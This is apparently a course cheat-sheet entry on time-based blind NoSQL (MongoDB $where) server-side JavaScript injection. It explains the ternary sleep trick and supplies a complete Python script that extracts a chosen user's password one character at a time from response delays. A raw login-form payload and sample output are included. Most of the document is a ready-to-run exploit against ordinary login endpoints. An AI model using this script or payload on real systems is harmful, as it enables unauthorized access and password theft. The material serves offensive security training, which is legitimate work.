Time-based
SSJI time-based exfil (sleep branch, binary search)
Gates a server-side sleep() on a charCodeAt comparison and reads the answer from response latency.
The string breakout is the same as the Boolean-response version. The difference is how the result becomes observable. A JavaScript ternary expression has the form <CONDITION> ? <TRUE_RESULT> : <FALSE_RESULT>. The payload uses sleep(TIME) as the true result and 0 as the false result:
<CONDITION> ? sleep(TIME) : 0A true condition delays the database evaluation and therefore the HTTP response. A false condition returns without that delay. oracle() compares the measured response time with THRESHOLD and returns a Python Boolean.
this.username == "<USER>" && <CONDITION> limits the sleep to the selected document. Without that condition, every document examined by the database could execute the delay and multiply the response time. TIME is expressed in milliseconds, while THRESHOLD is expressed in seconds and must sit above ordinary network variation but below the expected delayed response time.
The same length and charCodeAt() binary search then resolves each printable character in approximately seven requests.
import string, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
URL = "http://target/login"
PROXIES = {}
USER = "<KNOWN_USER>" # document to target, so only that document sleeps
FIELD = "this.password" # field to exfiltrate
TIME = 500 # ms slept when the branch is taken
THRESHOLD = 0.4 # seconds; above jitter, below TIME
def oracle(cond):
"""`cond` gates a server-side sleep; True when the response is delayed."""
expr = f'this.username == "{USER}" && {cond}'
payload = f'" || ({expr} ? sleep({TIME}) : 0) || ""=="'
r = s.post(URL, data={"username": payload, "password": "test"}, verify=False, timeout=(TIME / 1000) + 5, proxies=PROXIES)
is_delayed = r.elapsed.total_seconds() > THRESHOLD
return is_delayed
def length():
n = 0
while not oracle(f"{FIELD}.length == {n}"):
n += 1
return n
def dump():
out = ""
for pos in range(length()):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if oracle(f"{FIELD}.charCodeAt({pos}) <= {mid}"):
hi = mid
else:
lo = mid + 1
out += chr(lo)
print(f"\r[+] {out}", end="", flush=True)
print()
return outForm field gating a server-side sleep on one document
username=" || (this.username == "<KNOWN_USER>" && this.password.charCodeAt(0) <= 79 ? sleep(500) : 0) || ""=="&password=testRecovered field
[+] <RECOVERED_FIELD>Find by: nosql, mongodb, ssji, time-based blind, sleep, $where, charCodeAt, response timing, password exfil, ternary · Source: CWEE/NoSQLi SSJI time-based sleep branch